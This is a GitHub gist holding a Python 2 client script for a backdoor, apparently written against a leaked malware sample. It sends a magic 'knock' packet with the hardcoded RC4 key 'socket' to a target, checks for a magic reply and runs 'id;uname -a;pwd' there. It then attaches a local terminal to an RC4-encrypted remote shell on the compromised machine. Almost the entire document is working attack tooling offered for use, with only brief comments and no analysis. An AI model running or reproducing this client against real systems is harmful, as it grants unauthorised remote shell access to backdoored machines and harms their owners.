Skip to content

Instantly share code, notes, and snippets.

@EvergreenCartoons
Last active October 22, 2022 09:14
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save EvergreenCartoons/6c223e8f43e2fa4dc11c1c0a6118cbac to your computer and use it in GitHub Desktop.
Save EvergreenCartoons/6c223e8f43e2fa4dc11c1c0a6118cbac to your computer and use it in GitHub Desktop.
# edit note: this uses the hardcoded rc4 and trigger key of 'socket' as per the original sample
# you can change this.
# the reference samples source code is here: https://pastebin.com/kmmJuuQP
import fcntl
import socket
from threading import Thread
import sys
import time
import struct
from Crypto.Cipher import ARC4
import tty
import pty
import os
import termios
import select
drc4 = ARC4.new("socket")
erc4 = ARC4.new("socket")
class PTY:
def __init__(self, slave=0, pid=os.getpid()):
# apparently python GC's modules before class instances so, here
# we have some hax to ensure we can restore the terminal state.
self.termios, self.fcntl = termios, fcntl
# open our controlling PTY
self.pty = open(os.readlink("/proc/%d/fd/%d" % (pid, slave)), "rb+")
# store our old termios settings so we can restore after
# we are finished
self.oldtermios = termios.tcgetattr(self.pty)
# get the current settings se we can modify them
newattr = termios.tcgetattr(self.pty)
# set the terminal to uncanonical mode and turn off
# input echo.
newattr[3] &= ~termios.ICANON & ~termios.ECHO
# don't handle ^C / ^Z / ^\
newattr[6][termios.VINTR] = '\x00'
newattr[6][termios.VQUIT] = '\x00'
newattr[6][termios.VSUSP] = '\x00'
# set our new attributes
termios.tcsetattr(self.pty, termios.TCSADRAIN, newattr)
# store the old fcntl flags
self.oldflags = fcntl.fcntl(self.pty, fcntl.F_GETFL)
# fcntl.fcntl(self.pty, fcntl.F_SETFD, fcntl.FD_CLOEXEC)
# make the PTY non-blocking
fcntl.fcntl(self.pty, fcntl.F_SETFL, self.oldflags | os.O_NONBLOCK)
def read(self, size=8192):
return self.pty.read(size)
def write(self, data):
# ret = self.pty.write(decrypt(data)) #xxx
ret = self.pty.write(data)
self.pty.flush()
return ret
def fileno(self):
return self.pty.fileno()
def __del__(self):
# restore the terminal settings on deletion
self.termios.tcsetattr(self.pty, self.termios.TCSAFLUSH, self.oldtermios)
self.fcntl.fcntl(self.pty, self.fcntl.F_SETFL, self.oldflags)
def decrypt( xxx ):
return drc4.decrypt(xxx)
def encrypt(xxx):
return erc4.encrypt(xxx)
def getshell(rhost, rport):
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
try:
print "shell: %s:%d" %(rhost, int(rport))
csock.connect((rhost, int(rport)))
except Exception, e:
print str(e)
print "[!] Can't connect !\n"
while True:
try:
fsock = csock.fileno()
except socket.timeout:
continue
if csock.recv(4) == "3458":
print "got magic"
buffer = encrypt("id;uname -a;pwd\n")
csock.send(buffer)
buffer = csock.recv(4096)
print decrypt(buffer)
else:
sys.exit("no crypt")
pty = PTY()
buffers = [ [ csock, [] ], [ pty, [] ] ]
def buffer_index(fd):
for index, buffer in enumerate(buffers):
if buffer[0] == fd:
return index
readable_fds = [ csock, pty ]
data = " "
while data:
# if any of the fd's need to be written to, add them to the
# writable_fds
writable_fds = []
for buffer in buffers:
if buffer[1]:
writable_fds.append(buffer[0])
r, w, x = select.select(readable_fds, writable_fds, [])
# read from the fd's and store their input in the other fd's buffer
for fd in r:
buffer = buffers[buffer_index(fd) ^ 1][1]
if hasattr(fd, "read"):
data = fd.read(8192)
else:
data = fd.recv(8192) # xxx
if data:
buffer.append(data)
# send data from each buffer onto the proper FD
for fd in w:
buffer = buffers[buffer_index(fd)][1]
data = buffer[0]
if hasattr(fd, "write"):
fd.write(decrypt(data)) # encrypt or decrypt ops here break it somehow, fuck if I know.
else:
fd.send(encrypt(data)) # maybe? seems to work now, idk
buffer.remove(data)
sys.exit("Shell closed")
def sendpkt(rhost, rport):
print "knock: %s:%d" %(rhost, rport)
# bla = "52930000a45acd9a04570000000000000000000000000000"
bla = "52930000"
bla += socket.inet_aton("127.0.0.1").encode("hex")
bla += struct.pack(">H", int(1337)).encode("hex")
bla += "socket".encode("hex")
bla += "0000000000000000000000000000"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
s.send(bla.decode("hex"))
def check(rhost, rport):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
print s.recv(4)
def main():
if len(sys.argv) != 3:
sys.exit("use: %s host port" %(sys.argv[0]))
rhost = sys.argv[1]
rport = int(sys.argv[2])
sendpkt(rhost, rport)
time.sleep(3) # lol
getshell(rhost, rport)
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment